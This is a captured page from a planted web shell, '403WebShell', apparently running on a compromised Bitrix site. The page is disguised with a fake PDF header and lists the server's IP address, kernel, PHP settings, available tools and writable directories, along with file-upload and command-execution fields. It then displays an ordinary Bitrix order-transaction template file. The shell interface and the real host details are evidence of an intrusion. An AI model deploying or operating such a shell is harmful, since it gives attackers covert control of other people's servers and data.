%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.143.241.133
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/install/components/bitrix/sale.mobile.order.transact/templates/.default/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/install/components/bitrix/sale.mobile.order.transact/templates/.default/template.php
<?if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true) die();

$mad = new CAdminMobileDetail;

if(is_array($arResult["TRANSACTS"]))
{
	foreach ($arResult["TRANSACTS"] as $key => $arTransact)
	{
		$stmp = MakeTimeStamp($arTransact["TRANSACT_DATE"], "DD.MM.YYYY HH:MI:SS");
		$dateInsert = date("d.m.Y", $stmp).' <div class="time_icon">'.date("H:i", $stmp).'</div>';

		if (array_key_exists($arTransact["DESCRIPTION"], $arResult["TYPES"]))
			$description = htmlspecialcharsbx($arResult["TYPES"][$arTransact["DESCRIPTION"]]);
		else
			$description = htmlspecialcharsbx($arTransact["DESCRIPTION"]);

		$arSection = array(
					"TITLE" => $dateInsert." ( ".$arTransact["AMOUNT_PREPARED"]." )",
					"ROWS" => array(
						array("TITLE" => GetMessage("SMOT_DATE").":", "VALUE" => $arTransact["TRANSACT_DATE"]),
						array("TITLE" => GetMessage("SMOT_USER").":", "VALUE" => CSaleMobileOrderUtils::GetFormatedUserName($arTransact["USER_ID"])),
						array("TITLE" => GetMessage("SMOT_SUMM").":", "VALUE" => $arTransact["AMOUNT_PREPARED"])
					));

		if($description <> '')
			$arSection["ROWS"][] = array("TITLE" => GetMessage("SMOT_DESCRIPTION").":", "VALUE" => $description);

		if($arTransact["NOTES"] <> '')
			$arSection["ROWS"][] = array("TITLE" => GetMessage("SMOT_COMMENTS").":", "VALUE" => htmlspecialcharsbx($arTransact["NOTES"]));

		$mad->addSection($arSection);
	}

	echo $mad->getHtml();
}
else
{
	echo GetMessage("SMOT_TRANS_EMPTY");
}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit